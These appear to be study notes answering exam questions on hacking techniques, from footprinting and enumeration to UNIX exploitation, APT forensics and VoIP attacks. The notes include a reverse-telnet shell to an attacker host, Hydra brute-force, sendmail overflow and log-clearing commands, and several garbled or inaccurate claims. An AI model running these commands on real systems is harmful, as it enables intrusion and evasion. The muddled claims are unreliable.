1 What is footprinting and which goals does achieve? Describe the attack steps that should be performed

**Footprinting** is actions performed to collect information about the target sending a single packet to it, creating a complete profile and posture of the target

There are **6 steps** to perform correct footprinting, **determine the scope of your activity**, **get proper authorization**, **publicly available information**, **WHOIS and DNS enumeration**, **network reconnaissance**, lets see

* **Determine the scope of your activity**: attacker must take information about company or single target? Limit the activity on a subcategory
* **Get proper authorization**: legal authorization to starting the footprinting process
* **Publicly available information**: take public information from company web pages, related organizations, current events, privacy and security policies
* **WHOIS and DNS enumeration**: **Domain-Related Searches** determine which one of the WHOIS server contains information for your activity, after searching for **registry**, **registrar** and **registrant**, registrant provides information like names, phone number, email, DNS server names. **IP-Related Searches** determine the range of the IP to manage, but not WHOIS or IANA can tells that range, you must discover by itself starting from 1 related IP
* **DNS interrogation**: after associating IP domains, interrogate DNS server, a distributed database used to map IP address to hostname and vice versa. Most complete attack is **zone transfer** that allows an untrusted IP user to impersonate a **secondary masted DNS server** that need to update its zone based on the primary master, in this way attacker will take all internal IP information of the net. Simple way to perform **zone transfer** is to use **nslookup** **client**, otherwise there are automated tools that allows **zone transfer** like **host**, **dig** and **dnsrecon**. **Countermeasure** against zone transfer are to apply a firewall to deny unauthorized connections to TCP port 53, another solution is to implement cryptography transaction signatures
* **Network reconnaissance**: **tracerouter** is using to perform this step, allows to view the path that packet follow from one host to the next, packets decrement its TTL every time reach a router, in this way trace a path and identify the network topology and access control devices; in UNIX **tracerouter** use UDP packets instead classic ICMP packets, but you can switch with **-l switch** command. **Countermeasure** against network reconnaissance are performed by IDS and IPS that will detecting suspicious type of traffic in the net, best NIDS are **SNORT**, **Bro-IDS**

2 Describe at least one technique to determine which services are running or listening on a remote host. Discuss pro and cons, and which tools you may use in practice.

There are many **techniques** to determine which services are running or listening on a remote host, each of them have **pro and cons**, like **TCP connect scan**, **TCP SYN scan**, **TCP FIN scan**, **TCP ACK scan**, **UDP scan**, **TCP Xmas tree-scan**, **TCP RPC scan**, lets see

* **TCP connect scan**: connects to the target port and completes the full 3-way-handshake with SYN, SYN/ACK and ACK; it is longer to be performed, require to be logged from target system
* **TCP SYN scan**: only SYN packets is sent to target port and if this port replies with SYN/ACK means it is open and in listening, otherwise if replies with RST/ACK means the port isn’t listen; not require to be logged from the target system, is relatively safety, can generate a DOS attack because opening a large number of half-connection to target system
* **TCP FIN scan**: only sends FIN packets to target port, if port replies with RST means it is closed; woks only on UNIX system
* **TCP NULL scan**: packet with all flags off is sent to target port, if the port replies with RST means it is closed
* **TCP ACK scan**: used to determine if the firewall is only a simple stateless packet filter without tracking connection or if firewall is a stateful
* **UDP scan**: sends UDP packets to the target port, if port replies with ICMP port unreachable means port is closed, otherwise if doesn’t reply means the port is open; is a very slow techniques
* **TCP Xmas tree-scan**: sends to target port FIN, URG and PUSH packets, if port replies with RST means it is closed
* **TCP RPC scan**: identify RPC ports with version and number; used only in UNIX system

**Tools** are **Nmap**, **Superscan**, **Scanline** and **Netcat**, lets see

* **Nmap**: is the most feature-rich port-scanning tool, first perform host discovery and if the host is identified as alive, perform post scanning. With **-sS** option perform TCP SYN scan, with **-oN** option save the output in a readable form, with **-f** option fragment the packets against the firewall, with **-D** option perform the decoy-scan capabilities that make more difficult to identify the scanning, with **-b** perform FTP bounce scanning that exploit the FTP protocol to request access to port
* **Superscan**: used for ping scanning, UDP and TCP scanning, allows to choose 4 of different **ICMP-host discovery techniques** with echo-request, timestamp request, address mark requests and information requests. For UDP and TCP allows also to choose the port to scanning with packet composed like **data+ICMP+static port** for UDP and **SYN+connect+static** port for TCP
* **Scanline**: like netcat, is a single exe that make easy to load onto a target
* **Netcat**: bases is scanning on UDP and TCP ports, minimizing the footprint. With -u option specify the UPD port scanning, with -v and -vV option specifies the verbose and very erbose output, with -w2 option provides timeout values for each connection, with -z option provides zero mode I/O

3 What are ping sweeps? Describe at least two host discovery techniques, and at least one tool used to perform host discovery.

**Ping sweeps** is a method to map all the alive hosts in a net and establish a range of IP used in the net

**Host discovery techniques** are **ARP host discovery**, **ICMP host discovery** and **TCP/UDP host discovery**, lets see

* **ARP host discovery**: ARP translate MAC in IP address, to assign an IP the system has to send an ARP request to reach the MAC hot. **ARP scan** consist to send ARP request to every hosts in the net, if host replies with ARP reply means it is alive
* **ICMP host discovery**: ICMP provides many packets for the net management, host status and network path, common types of packets are **type 0**: echo reply (ping), **type 8**: echo request (ping reply), **type 13**: timestamp (system time) **type 17,18**: subnet mask request/reply
* **TCP/UDP host discovery**: if network limiting ICMP packets, you can use TCP or UDP packets to discover live hosts, 1 port for the connection is always available

**Tools** are available for specific techniques like **ARP host discover** and for general purpose, like **Arp-scan**, **Cain**, **Nmap**, **Superscan**, **Nping**, lets see

* **Arp-scan**: execute it as root, perform ARP host discovery
* **Cain**: windows tools that provides host and service discovery and other
* **Nmap**: tool for anything related to host and service discovery, use **-PR** option to perform ARP host discovery, use **-sn** option to perform hybrid scan with CP and ICMP packets, use **-Pn** option to specify the port to scan, because if target host doesn’t have TCP port 80 open the packets from Nmap will be dropped. You can tell also Nmap to ignore the host discovery and perform only port scan to scan all default ports
* **Superscan**: allows to personalize the type of scan checking the protocol you wish to use, method and techniques; this allows also to perform host discovery without using ICMP packets
* **Nping**: perform **TCP/UPD discovery**

4 Discuss the differences between scanning and enumeration. Describe at least one enumeration technique.

**Scanning** identify only the possible entry points, the services; **enumeration** involve actions to connect to system with direct queries to get more information like user account names to perform password guessing attack, misconfiguration resources to find unsecure file shared, older software version with knows vulnerabilities. **Enumeration** techniques are platform-specific and dependent from the information discovered by **scanning** like port and services to perform enumeration, typically same **tools** are used to perform scanning and enumeration like **Superscan** (first **scanning** after **banner grabbing**)

**Techniques** for enumeration are **banner grabbing** that is manual and can be automated by **telnet** and **netcat** tool, **FTP** and **SMTP** services , lets see

* **Banner grabbing**: performing a manual connection to remote server to see the output that allows to identify the model and the brand of the running services, starting from that see the well knows vulnerabilities. Best **countermeasure** against banner grabbing is to shut down all useless services or to disable banner brands
* **Telnet and netcat**: banner grabbing mechanism is performed by telnet in an easiest way, opening a telnet connection to a known port on target server. With netcat banner grabbing can be performed opening a connection to TCP/ip port on target server with command **nc -v ‘service\_IP’ ‘port’**; you can use specific **tool** called **TCP/IP swiss army knife** to perform this
* **Enumerating FTP** (TCP 21): FTP sites can hold sensible information, many of them allows anonymous access, so you can try several mails until access to FTP services with command **ftp ‘ftp\_site\_address’**. **Countermeasure** can be turned off FTP or use SFTP with SSH or FTPS with SSL
* **Enumerating SMTP** (TCP 25): SMTP has 2 build-in commando that enumerate all the users, **vrfy ‘email\_of\_user’** that confirm names of valid users, **expn ‘email\_of\_user’** that shows the delivery address of the user; **vrfy.pl** is a **tool** that perform this process automatically. **Countermeasure** is to turn off SMTP or to turn off commands

5 SNMP enumeration, which account you need, countermeasure.

SNMP is a network management and monitoring service, provide information on network devices, software and systems; it is protected by simple password authentication system with several well known default passwords, for example to access on SNMP agent in a read-only mode is “public”, attacker can sniff traffic from SNMP port identified, with wireshark. Many vendors had created a proprietary extension of SNMP with its specific data configuration, Microsoft MIB contains name of windows user accounts and also similar information of classic SNMP like community string for reading that is still “public”; so enumerating windows user using SNMP is simple, you can use browser called **snmputil** with command **snmputil walk ‘IP\_user\_agent/host’ public ‘object\_identifier’**. Object identifier indicate a specific branch of Microsoft MIB, more specific more information; also UNIX Linux system can enumerate SNMP services with **snmpget** tool. Anther community string to write with an agent is “private”, an attacker can modify somethings to perform DOS attack, another community name for SNMP writing agent is **must’ copy-router-config.pl**

**Countermeasure** against SNMP enumeration is to disable SNMP agents on machines, or in alternative to configure community names that are difficult to guess. Of course another countermeasure is to block access to TCP and UDP port 161 and to limit request only from IP address of the appropriate management console

6 Describe the technique to enumerate the Microsoft’s Server Message Block (SMB) service. What information can be enumerated from the SMB service? Under what assumptions is each of such enumeration possible? Discuss the tools, explain how each of them works, and also the countermeasures for this enumeration attack. Is Microsoft providing a facility to prevent SMB enumeration?

SMB is a service that allows to share prints and files, so share resources in the net. Starting from the **assumption** that SMB allows null session access, it can be **enumerated** by different point of view, **information** that can be enumerate could be files with tools like **dumpsec**, another **information** that could be enumerate is user name with tools like **sid2user** and **user2sid**, those tools allows also to check if user is admin and to change the username. **Countermeasure** is to disable SMB or disabling the null session access with IP filtering putting also a firewall in the net

7 What are the three main network password exchange protocols used in Windows systems? Describe the pass-the-hash and pass-the-ticket attacks and countermeasures.

Three main network password exchanged protocols are LM, NTLM and Kerberos, lets see

* **LM**: is an authentication protocol, it can be exploited thanks weakness in windows challenge-response implementation, make guess the original LM hash credential
* **NTLM**: challenge-response protocol, authentication starting when client log in the server and server responds with a challenge that client will encrypt with its hash; client encrypt the challenge and sends it back to server that decrypt challenge with client password hash, if server decrypt with client hash the client encrypted challenge means the client is the real one and the challenge is solved
* **Kerberos**: sends pre-authentication packet that contains a timestamp encrypted with a key derived from the user password

**Techniques** to attack the protocols are **pass-the-hash** with LM and NTLM protocols and **pass-the-ticket** for Kerberos protocol, lets see

* **Pass-the-Hash**: attacker authenticate to a remote server using LM or NTLM hash of client’s password. With NTLM authentication, windows password hashes are equal to cleartext password so attacker will crack them offline to gain remote access. In 2000 a technique implementing pass-the-hash using windows native application, like explorer, by modifying at runtime username, domain name and password hashes stored in memory, to access to remote shares and to compromise all the net not only single one.
* **Pass-the-Ticket**: using Kerberos, client authenticate to remote services on remote system using tickets, creating new one using TGT provided by KDC that is a part of domain controller. Like pass-the-hash, attacker reply the hashes NTLM password of the client to authenticate to remote services, after that dump existing Kerberos tickets with following command used in the windows credentials editor wce.exe -K

**Countermeasure** for pass-the-hash technique in NTLM protocol is to using 2-factor authentication, **countermeasure** for pass-the-ticket technique in Kerberos protocol (sniffing attacks) is to don’t set single registry value as LM

8 Explain what steps attacker should take to cover his tracks after successfully gaining administrator privileges on Windows system in order to avoid detection. Attackers can hide their files in the system?

After attacker taken administrative privileges on the system, it will cover its detection and its presence with 4 tasks, disabling auditing, clearing the event log, hiding files, rootkits, lets see

* **Disabling auditing**: auditing slow down performance on active servers, attacker with admin privileges and also real admins checking the audit policy status and disable auditing with command **auditpol/disable**, once attacker exit from the system enable the policy with command **auditpo/enable**
* **Clearing the event log**: windows event log stores all the activity done by every user in the system, attacker can wipe logs with event viewer, event viewer can open, read and clear the logs, but also the cleaning event is stored in the log and can raise an alarm. **ELSave** is a tool that allows to clean the log with command **elsave -s ‘remote\_server/host’ -l ‘specifies\_log\_you\_want\_to\_cancel’ -C**
* **Hiding files**: save files in the target system for future attack is useful, but hiding files isn’t simple as copy and change directory with old **DOS attrib** tool. Method to hide are with command **attrib +h [‘directory’]** that hiding files and directory from the command line tools but not from the show all files in the windows section; another method is the **Alternative Data Stream** used only if the target runs a NTFS file system, consist to add attributes to malicious file to reach the same dimension in the file system as clear program, in this case NTFS file system doesn’t identify it. Only NTFS allows to add attributes on a file
* **Rootkits**: is a collection of malicious software that allows to access in an area of OS that isn’t allowed otherwise without particular permission, this allows also to hide itself rootkits or other programs in the OS

9 Active Directory enumeration. Describe techniques, tools

**Lightweight Director Access Protocol** that Microsoft called AD, contains logical representation of all objects relevant for the company infrastructures; windows use **LDAP** client tool also called **ldp.exe** to connect to AD server and navigate in the directory, it can be used for **enumeration**. Attacker can use **ldp.exe** against host to enumerate all the users and group with LDAP query after creating an authentication session with LDAP, that means attacker already compromised an existing account target

**Technique** to enumerate via **ldp.exe** is first to connect to the target using **ldp.exe**, opening a connection and enter the IP or DNS name, once connected authenticate as guess user already compromised, stablished a connection via LDAP session, enumerate the user opening view/tree and enter the root, reveal all the object in the root of the dictionary, CN = users and CN = builtin will reveals every users and every groups. During installation of AD user loose the permission to give them to AD to perform directory researches, for this AD are vulnerable from LDAP enumeration; on Linux the same things happen with **LUMA**

**Countermeasure** can be filtering access to port 389 and 3268 on the network boundary devices, doesn’t allow everyone group and restrict the permission of accessing

10 Describe at least three Windows security features available with Windows 2000 and above. Are there published attacks that bypass these three features? P.S: The presentations of Windows Firewall and Automated Updates will not be evaluated

Windows security features are **BitLocker and encrypting file system**, **Windows Resource Protection**, **integrity levels, UAC and PMIE**, **Data Execution Prevention**, lets see

* **BitLocker and encrypting file system** (EFS): **EFS** is a public key cryptography system that encrypt in real time with randomly generate key derived from public key, attacker cannot attack file system without key.

Windows puts a recovery system to doesn’t risk losing all file encrypted, but this generate the main **vulnerability** of the EFS, because recovery agent account has the same password of the administrator account of the pc, password can be easily reset by tools changing OS.

**BitLocker** provide security not only for file system but for the entire OS, encrypts the entire volume of the memory and saves the keys in multiple ways.

It also **vulnerable** to **cold boot attacks**, attacker cooler the DRAM to increase the time in which OS is loaded in memory and the cleaning of memory, in this range of time attacker can get system image before cleaning and extract the encrypted keys. Countermeasure cannot be applied from cold boot if attacker has physically access to pc, the only way is to physically separate keys from the system

* **Windows Resource Protection**: first version of WRP called WFP try to prevent OS from being altered, WRP changing protection mechanism in ACL and now even administrator can change protected resources unless windows OS updating, hot fix, services pack.

**Vulnerability** of WRP is that administrator can change ACL on protected resources and changes permission to access to resources; WRP protect the system from OS changes by third parties application, not from wrong administrator decision

* **Integrity levels, UAC and PMIE**: windows implements mandatory access control in specific situations calling **Mandatory Integrity Controls** MIC, **MIC** implements 4 principles called **Integrity Levels** IL (low, medium, high, system) like SID in UNIX, if IL required to access to application matches with token owned by user that trying to access, other controls will be implemented in the new version of windows, **UAC** and **PMIE**. **UAC** has only 1 specific application that can be started with elevated privileges typically the administrator application run, the others with medium privileges, all non-administrative user run at medium privileges of **IL** by default, when process is elevated with **UAC** it gain the high privileges to access to a certain object. **PMIE** regarding **iexplore.exe**, allows it to running only at low **IL** privileges and allows it to write only in a specific location folder, so cannot write another system object by default and this limit the damage if the **iexplore.exe** will be compromised
* **Data Execution Prevention**: attacker can inject malicious code in an executable part of the memory like **stack** or **heap**, so make stack not executable avoid buffer overflow attacks, HW and SW prevention by DEP

11 Describe at least one attack method to gain remote access on a UNIX system. Describe at least one attack method to gain root access. Discuss pro and cons. (clone1)How attackers use back channel to gain remote access to a Unix system? Describe an attack scenario and explain the possible commands that attackers use to create a back channel. Discuss the possible countermeasures. (clone1).(clone2)Symlink. What are symlinks and how do they work? How can an attacker exploit symlinks (provide an example)? Provide at least one countermeasure. (clone2)

**Remote access** include network access or access to another communication channel, accessing a UNIX system from the net via TCP/IP is possible with **4 pre-method** to study the security of system; **Exploiting a listening services** like TCP/UDP, **routing thought UNIX system** between net, **starting remote execution attacks** and **exploiting a process** that are in the net with promiscuous mode.

After those **pre-phases** can start the real attacks methods that are **brute force attacks**, **data-driven attacks**, **buffer overflow attacks** derived by data driven and **I want my shell attacks**

* **Brute force attacks**: most basic is the brute force password guessing, attacker try to guess right combination of user and password of the services, typically helped with tools like **Medusa** and **THC Hydra**, a command for Hydra to SSH brute force is **hydra -L ‘dictionary\_for\_user’ -P ‘dictionary\_for\_password’ ‘IP\_of\_services\_host’ ssh**
* **Data-driven attacks**: sending data to a services causes undesirable results, buffer overflow can be performed in remote
* **Buffer overflow attacks**: when process try to place more data into a buffer or a fixed array previously allocated, causing segmentation violation, this type of behaviors happen whit specific C functions like strcpy(), strcat(), sprint(). If attacker connects to **sendmail** daemon sends a block of data with many “a” character in a VRFY command, VRFY buffer will override because it is designed to hold only 128 bytes, this cause a DOS attack and a crash of the **sendmail** daemon; command to perform this attack is **echo “vrfy ‘perl -e ‘print “a” x 1000’’” |nc ‘IP\_of\_target\_services’ ‘port’.** To perform a real dangerous attack, the attacker should sends not “a” character in a VRFY command message, but a piece of code that overflow the buffer and execute a **bin/sh** command; when the attack is executed, a special assembly called **egg** is sent to VRFY command as a part of the actual string used to overflow the buffer, when buffer is overrun attacker can set the return address of the function to modify the program flow, when function return the memory location then attacker execute assembly code **run/bin/sh** sent in VRFY command previously and placed in buffer
* **I want my shell**: (clone1) there are several techniques to gain shell access, like **reverse telnet** and **back channels**. Define **back channels** as communication channel started from target system and not from attacker, **reverse telnet** is a method to create a **back channel**, because **telnet** from target system, attacker system must enable **netcat** to accept the **reverse telnet** connection with commands **nc -lnvp 80** and **nc -lnvp 25** (executed on different cmd windows), if a services is already listening on these ports, must kill it with **kill command**. To initiate a **reverse telnet**, attacker must execute command **/bin/telnet ‘attacker\_IP’ 80 | /bin/sh | /bin/telnet ‘attacker\_IP’ 25**, with this method the attacker can sends command from cmd on port 80, target execute the command in /bin/sh path and print the result on cmd on port 25 of the attacker. **Countermeasure** are to disable useless services to avoid back channels and applying vendor patches

To **gain root access** there are techniques like **local buffer overflow**, **symlink** and **race condition**, lets see

* **Local buffer overflow**: attacker execute arbitrary code or commands in a target system, a stack-based buffer overflow condition related to winrar archive was discovered in 2011, opening a specific winrar archive trigger a local stack-based buffer overflow so the target will run a unrar code, the code jumps into a specific address memory and execute **/bin/sh**. **Countermeasure** are secure code practicing and non executable stack
* **Symlink**: (clone2) symbolik link is a file that pointing to another file, is created with **symlink** method with command **ln**. In 2009 file **.xscreensaver file** can be used to shows content of other files without owned SUID permission thanks to symlink. **Xscreensaver** reads the configuration option from **/.xscreensaver file**, if the **xscreensaver file** is a **symlink** to another file with root permission, **Xscreensaver** can read every file in the system, included file with root permission, even if user that execute Xscreensaver hasn’t root permission, because Xscreensaver is installed with SUID bit set. Countermeasures are secure coding practices like performing sanity check on existing files
* **Race condition**: attacker use a program performing a privileged operation, **race condition** allows attacker to use the exact time when real program take higher privileges to perform an uncontrollable operation; this time can be created by software, hardware or system

12 Describe UNIX permission system and the main attack vectors related to permission system. (clone)Describe in detail the Unix permissions system. Explain at least one of the three special modes. What are the security implications of SUID? (clone)

File permissions in UNIX are specified by 3 **access classes**, for each access classes there are **3 access type**, for each file there are **3 special modes** valid for all the classes, lets see

**Access classes** are **user**, **group** and **others**; **user class** has permission of owner of the file, **group class** has permission applied to users in a specific group, **others class** has permission of everyone else. For each class there are **3 access type**, **read** **r**=4, **write** **w**=2, **execute** **x**=1; **read** define a class that can read the file, **write** define a class that can write the file, **execute** define a class that can execute the file; if the class has **numerical number** =7 means it has alle the permissions to operate to file. Each file has also **3 special modes** valid for the classes, **set user id** **SUID**, **set group id SGID**, **sticky**; when **SUID** is on the file executed, the process has the user id of the owner of the file, same for the **SGID** with group id

**Attacks** that can be performed on the misconfiguration of the SUID, many SUID programs can create temporary file in **/tmp**, command to access on this temporary file is **stat /tmp: Access: (1777/drwxrwxrwt)**, after print the temporary file with command **string /bin \* |grep tmp**

13 Explain briefly what a buffer overflow attack is. Describe at least one buffer overflow technique that allows hackers gain remote access to a Unix system even when data execution prevention is enabled. Describe at least two countermeasures against standard overflow attack in Unix system.

**Buffer overflow** happen when user o process place more data into a buffer or fixed array previously allocated, can happen typically with C functions like **strcpy()**, **sprintf()** and **strcat()**, generate segment violation that attacker can use to gain root access to the target

A **technique** to perform **buffer overflow** on a **sendmail** daemon process is to sends packets with VRFY command inside + more “a” characters with command **echo “vrfy ‘perl -e ‘print “a” x 1000’’” |nc ‘IP\_of\_target\_services’ ‘port’**. VRFY buffer is overrun because it designed only by 128 bytes so could cause DOS and crashing of the daemon **sendmail**; a more dangerous attack instead sending more “a” character with VRFY command, attacker sends specific code that overflow buffer and execute command **/bin/sh** to gain root access. When process is executed special assembly code called **egg** is sent as part of VRFY command in the buffer that overrun, when overrun, the attacker can set return address of the function and instead returning into its normal memory location, thanks to attacker execute the assembly code **/run/bin/sh** sent as part of VRFY command placed in VRFY buffer. Another **technique** is the **Return-to-Libc attack**, used for buffer overflow in the UNIX system with stack execution protection enabled, because with stack execution protection attacker cannot execute its code previously sent, so attacker change the return of the function to point a **standard C library** modified by attacker, stack execution protection in this case is useless because the return of the function point to an existing code modified, not to a new code created and injected previously by the attacker

**Countermeasures** for **classic buffer overflow** are secure coding practices like minimize buffer overflow condition in the code, enable SSP, design program from outside with security practices, uses canary values, reduce executable code with root permissions, validate inputs, apply relevant security patches; test and audit program, enable stack execution protection and address space layout randomization that randomize the address of the program every time it is executed, make difficult for attacker to predetermine the address of the function. **Countermeasure** **for Return-to-Libc** can be detecting function streams or memory violation

14 Briefly describe at least two main services in Unix system that are often remotely attacked. For each of this services, explain how the remote attack occurs and discuss the possible countermeasure.

Services that are sensible to remote attack in UNIX are **FTP**, **Sendmail** and **DNS cache poisoning**, every of them can be **attacked**, lets see

* **FTP**: FTP sever is used to gain remote access or to store illegal files, many FTP servers allows anonymous access, so every user can access without authentication and take sensitive information like **/etc/passwd** or perform buffer overflow attack. An exploit allows to creates a shell on a local port specified by attacker, attacker create a **netcat** listener to call back to with command **nc -vlnp 433** and after attacker run the exploit with command **perl roaringbeast.pl 0 ftp ftp ‘IP\_address\_of\_FTP\_server’ 433**.

**Countermeasure** are to disable FTP services or to use a secure version of it like SFTP with SSH or FTPS with SSL

* **Sendmail**: is a mail transfer agent used in UNIX, it used by attacker to gain root access, use also VRFY and EXPN commands to identify user accounts, perform also buffer overflow and it is vulnerable to input validation attacks. If attacker connects to **sendmail** daemon sends a block of data with many “a” character in a VRFY command, VRFY buffer will override because it is designed to hold only 128 bytes, this cause a DOS attack and a crash of the **sendmail** daemon; command to perform this attack is **echo “vrfy ‘perl -e ‘print “a” x 1000’’” |nc ‘IP\_of\_target\_services’ ‘port’.** To perform a real dangerous attack, the attacker should sends not “a” character in a VRFY command message, but a piece of code that overflow the buffer and execute a **bin/sh** command; when the attack is executed, a special assembly called **egg** is sent to VRFY command as a part of the actual string used to overflow the buffer, when buffer is overrun attacker can set the return address of the function to modify the program flow, when function return the memory location then attacker execute assembly code **run/bin/sh** sent in VRFY command previously and placed in buffer.

**Countermeasure** is to disable **sendmail** or to update it, otherwise using more secure mail transfer agent like **qmail** or **postfix**

* **DNS cache poisoning**: attack of this type are associated with BIND; attacker can convince the target to contact and communicate with malicious server that will manage all the request and resolve and redirect them to attacker network; in 2009 a cache poisoning attack is performed by grabbling handlers techniques, checking first if the DNS server is vulnerable to perform the enumeration with this command **dig @’IP\_target\_DNS’ version.bind chaos txt**.

**Countermeasure** is to disable BIND or update it

15 What are shared libraries in Unix? Describe the general advantages of shared libraries, and the possible Cybersecurity issues that they introduce. Assume that a root program called `program1`, which uses a shared library `libshared.so`, is executed every time at system startup. If libshared.so is not present in the system, under which conditions can you exploit this to run arbitrary code with root privileges? How would you do it?

**Shared library** is a shared collection of subroutines used and called by many programs.

**Advantages** are to saving memory and easy modifications of the code, because modifying shared libraries means modify all programs used it.

This caused also **security problems** because an attacker with environment variables can access to shared libraries and modifying or substitute them with malicious code and gain then root access; shared libraries are placed in any directory specified by **-rpath options**, environment variables like **LD\_LIBRARY\_PATH**, **/lib** and **/usr/lib** path, **/etc/ld.so.conf** directory

On startup, **program1** has root privileges and use shared libraries called **libshared.so**, if the **libshared.so** doesn’t exist already at startup, attacker can create a **symbolic link** called **libshared.so** (same as original **libshared.so**) that pointing an important file like **/etc/shadow**, in this case attacker without privileges can access to path that need root privileges to be visited; otherwise attacker can point with **symlink** a malicious code that could open a root shell and execute everything

16 The Administrator account of a Windows server has been compromised. Host software cannot be re-installed for business reasons. With these assumptions, how do you plan and implement post-exploit activities for the host recovery. In particular, list the areas of the system on which to intervene, to restore the hosts security. Discuss in detail at least one of these areas of intervention, listing the activities to be carried out, the tools, the line commands to be used, etc.

**Post exploit activity** for the host recovery starting from analyzing and recognizing the action taken by attacker in the system

**Areas** that you may check are **filenames**, **registry entries**, **processes** and **ports**, lets see

* **Filenames**: attackers rename files or hide them, another common technique used by attacker is to copy **cmd.exe** in various place with various name, so looking for suspicious file name; also looking in **%SYSTEMROOT%\PROFILES** that is the path lunched in boot time; use also anti-malware for detection and prevention
* **Registry Entries**: looking values of registry because most applications expect to see specific values, starting looking **HKLM\SOFTWARE** and **HKEYUSER\.DEFAULT\software** windows register where most installed application are placed. Attacker easy erased this registry values with **reg.exe** tool with command **reg delete HKEYUSER\.DEFAULT\software..** or putted specific values or perpetually backdoor
* **Processes**: for malicious process that cannot be renamed or hidden is enough to perform an analysis of **process list**, malicious process typically has high usage of CPU, you can kill them with GUI or with command line **taskkill** utility
* **Ports**: checking **netstat** for a rouge connection, command **netstat -an** to see all open port on you target server that listening or establishing malicious connection from attacker host

17 An ongoing APT attack has compromise one of the Windows server. With this assumption, how do you plan and implement the forensics activities for the analysis of this host? In particular describe the order in which the evidence should be collected and the forensics methodology, the tools, the command lines etc. to be used to analyze suspicious host. (clone)Following a successful APT attack, in the phase of the forensics analysis which focuses on the filesystem of a windows system, which interesting files should be collected to analyze the attacker activities? List at least three files. Registry keys and page/swap/hibernations files will not be consider valid answer. For each of the files you listed, describe its default location, the information it contains, and which tools should be used for its analysis (clone)

Malware do everything to survive a reboot, doing various mechanism like using **different run registry keys**, **creating a service**, **connecting to an existing service**, **using scheduled operation**, **camouflaging of communication** within real traffic, **overwriting BIOS** and **Master Boor Record**.

To **analyze a suspicious system** you can use **computer forensic techniques** and incident response procedures, starting research of the evidence from specific section of memory depending of availability of evidence in this section, this order is defined by RFC and is called **volatility order**, this order is: **Memory** RAM, **paging file** or **swap partition**, **running process**, **network data** like listening ports or active connection, **registry**, system or application **log files**, **disk image**, **backup archives**

**Analyzing compromised machines** using several **tools** that doesn’t contaminate the evidence, for this the **toolkit** has to be placed on external storage, tools are **AccessData FTK imager**, **SysInternals** tool, **WinMerge**, **Currports**, **strings command** and **netstat command**

**Recommended checks** to do are checking **%system%** for **.dll**, **.sys** and **.exe** files not in the installation directory or with different size, check **%system%** for **.dll**, **.sys** and **.exe** files with anomalous creation date, check **c:\** for **.exe** and **.\*z\*** files, check for **anomalous scheduled jobs**, check for anomalous **\*.exe** and **\*.dll** files, check anomalous jobs for **path** and **\*.exe**, check for **anomalous service names**, compare results to network activities by **data/time**, document PIDs to compare **tasks list result**, check for anomalous service **DLL paths**, checking **antivirus log**, checking **.rdp** and **.bmp** files to see remote connection history and screenshot related

18 Describe the six main steps that constitute an APT attack and indicate for each one the artifacts/traces that are usually left into the victim system. When detecting an APT attack, the tools used by the administrators may be compromised so as the return false information. Describe at least 8 of the 22 recommended checks.

The **6 steps** that constitute the APT attack are **targeting**, **access/compromise**, **reconnaissance**, **lateral movement**, **data collection and exfiltration**, **administration and maintenance**, lets see

* **Targeting**: collect information of target from public or private sources, include vulnerabilities scanning, spear phishing and social engineering
* **Access/Compromise**: attacker gain access and decide the methods to exploit OS information like version of OS, DNS IP of the target, NetBios, even collect credentials to facilitate future attacks
* **Reconnaissance**: attacker enumerate network shares, network architectures, name services, domain controllers, try to compromise also AD accounts to load into system to disables antivirus and system logging
* **Lateral movement**: after identifying the target and known how to move through its network with valid credentials, attacker will do lateral movement across the network to other hosts, not installing other malware or using other tools, only tools already in the principal target already hacked, like NetBios, command shell, VNC
* **Data collection and exfiltration**: attacker establish data collection points and exfiltrate them, cover data output with encryption and exfiltrate communications
* **Administration and maintenance**: attack would maintain access over time, need tools and credentials for this so is necessary to establish multiple methods of accessing on the net remotely and putting trigger to alert when changes will income

**Recommended checks** to do are checking **%system%** for **.dll**, **.sys** and **.exe** files not in the installation directory or with different size, check **%system%** for **.dll**, **.sys** and **.exe** files with anomalous creation date, check **c:\** for **.exe** and **.\*z\*** files, check for **anomalous scheduled jobs**, check for anomalous **\*.exe** and **\*.dll** files, check anomalous jobs for **path** and **\*.exe**, check for **anomalous service names**, compare results to network activities by **data/time**, document PIDs to compare **tasks list result**, check for anomalous service **DLL paths**, checking **antivirus log**, checking **.rdp** and **.bmp** files to see remote connection history and screenshot related

19 Describe advance persistent threats APT in the context of UNIX system. In particular describe trojan, sniffers, log cleaning and kernel rootkits and briefly discuss some countermeasures for each of those points

APT in the UNIX context, attacker techniques are **trojan**, **sniffers**, **log cleaning** and **kernel rootkits**, lets see

* **Trojan**: legal program modification that performs malicious actions, **login binary** could be use to collect credentials and exfiltrate the data. **Countermeasure** is to check integrity of the binary with cryptography control
* **Sniffers**: attacker sniff internal network which is connected to take information and find other services. **Countermeasure** are sniffer detectors, encryption and switched network
* **Log cleaning**: attacker clean or modify the event log to don’t allow the target to see its actions. **Countermeasure** are using log server like **syslog** and write logs activity in a non editable file
* **Kernel rootkits**: difficult to detect because are a malicious program performed operation at kernel level, so modify the behavior of **kernel system call mechanism** like **system call jump**, in this case every program using system call **jump** will perform malicious action that isn’t related to jump. **Countermeasure** are cryptography and integrity checksum for system calls

20 VoIP Attacks. Describe VOIP Enumeration, Denial of Service and other attacks against VoIP. Which tools are used? Write console commands. Which countermeasures?

VoIP indicate the **voice transportation on top of an IP network**, is based on more than 1 protocol, at least 1 for signaling and one for voice encrypted traffic, **SIP** is one of them and operates on port TCP/UDP 5060.

VoIP is **vulnerable** to a more attack because need to expose more protocol interfaces to the end user because quality of the net is fundamental for the quality of the system, attacks are **SIP scanning**, **pillaging TFTP for VoIP**, **enumerating VoIP user**, **SIP invite flood DOS attack**, lets see

* **SIP scanning**: before attack, attacker must scan SIP devices with **SiVus** tool or **SIPVicioys** command line tool, a command is **svmap.py ‘IP\_of\_target’ -30**. **Countermeasure** is the segmentation of the network between VoIP network and user access segment, this can prevent attack but if the access is obtained there are no countermeasures
* **Pilling TFTP for VoIP**: during boot, many device connect to TFTP server to download their configuration settings with username and password, TFTP uses security by obscurity, so attacker just know the name file to download it, search the TFTP server on the net with **nmap** command **nmap -sU -p ‘IP\_of\_target\_server’ ‘/subnet’** and try to guess the name of the configuration file. TFTP server address, MAC address and network setting can be sniffed or scanning the network; these configuration files contain useful information like username and password for administrative functions. **Countermeasures** are implementing access restrictions on the network layer configuring the TFTP server to accept connection only from know static IP assigned to VoIP phones, configurate the VoIP system to prevent information leakage like disabling access to the settings menu of devices, disable web server on IP phones and use signed configuration files
